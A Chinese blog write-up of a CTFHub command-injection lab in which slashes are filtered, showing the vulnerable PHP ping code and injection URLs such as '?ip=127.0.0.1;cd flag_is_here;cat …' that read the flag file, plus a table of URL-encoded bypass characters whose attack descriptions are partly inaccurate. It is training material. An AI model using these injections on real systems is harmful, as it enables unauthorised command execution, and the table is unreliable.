CTFHub | 过滤目录分隔符

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

过滤目录分隔符:

        这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?

网页显示内容

        

        

0x02 解题过程

检查网页源代码发现这题如果用户输入 / \ 就不会执行,说明这题对斜杠做了过滤处理。这里使用 HackBar 进行测试,在 URL 后输入 /ip=127.0.0.1 对本地进行 ping 命令测试,发现可以正常回显。

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

        

在 URL 后加入参数分隔符号,输入 ls 命令进行查看,同样发现一个提示 “ flag 在这” 。说明 flag 可能在这个文件中。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

        

继续使用参数分隔符号先使用 cd 命令打开文件,然后使用参数分隔符号加上 ls 命令查看文件中的内容。发现一个文件 flag_20743606830887.php ,可能含有 flag 。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls

        

将 ls 命令替换成查看命令 cat 查看 flag_20743606830887.php 文件,在网页回显中发现一个空白回显。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat flag_20743606830887.php

        

检查网页源代码,在空白回显对应的源代码中发现此题 flag 。

        

        

0x03 过滤目录分隔符

        过滤目录分隔符是对文件路径中的目录分隔符,如斜杠 / 或反斜杠 \ 过滤或去除。这样做可以避免一些安全问题,比如,路径遍历攻击以及路径注入攻击等。

        

常见的 URL 绕过字符使用方法:

名称字符URL编码利用方法
换行符%0a%0a通过HTTP响应拆分攻击来插入恶意内容,或通过XSS注入恶意脚本
回车符%0d%0d类似于换行符,回车符也可用于HTTP响应拆分攻击和XSS注入攻击。
空格符%20%20通过空字符来欺骗文件上传验证或绕过其他安全控制,导致文件上传漏洞或其他漏洞。
管道符|%7c通过URL中使用管道符来执行SQL注入攻击或命令注入攻击。
逻辑与操作符&&%26%26通过URL中的逻辑与操作符来执行XSS攻击或代码注入攻击。
逻辑或操作符||%7c%7c通过URL中的逻辑或操作符来执行XSS攻击或SQL注入攻击。
小于号<%3c通过URL中的小于号来执行XSS攻击,注入恶意脚本。
大于号>%3e通过URL中的大于号来执行XSS攻击,注入恶意脚本。
双引号"%22通过URL中的双引号来执行XSS攻击,注入恶意脚本。
单引号

'

%27通过URL中的单引号来执行SQL注入攻击,注入恶意SQL语句。
反斜杠\%5c通过URL中的反斜杠来执行代码注入攻击。
正斜杠/%2f通过URL中的正斜杠来执行路径遍历攻击。
路径分隔符;%3b用于分割路径,同时也可以用于注入恶意代码,比如SQL注入攻击。
查询符号?%3f通过URL中的查询符号来执行SQL注入攻击。

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尼泊罗河伯

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值